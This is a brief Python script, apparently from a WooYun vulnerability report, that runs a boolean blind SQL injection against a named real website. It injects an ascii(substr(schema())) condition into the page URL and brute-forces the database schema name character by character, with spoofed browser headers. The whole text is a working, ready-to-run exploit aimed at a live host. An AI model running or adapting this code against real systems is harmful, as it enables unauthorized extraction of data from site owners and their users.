WooYun.org

#!/usr/bin/env python
#-*-coding:utf-8-*-
import requests
import string
character = string.ascii_lowercase + string.digits + '._@ '
res = ''
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36', 'Referer': 'http://quanzi.zbj.com/main/view/qid-10456'}
for i in range(1, 20):
	for p in character:
		url = "http://quanzi.zbj.com/main/view-qid-10470 aNd ascii(substr(schema(),{},1))={}.html".format(i, ord(p))
		req = requests.get(url, headers=headers)
		print req.url
		if req.text.find(u'匿名') == -1:
			res += str(p)
			print "\n" + res + "\n"
			break
print "\n\n[Finish]: " + res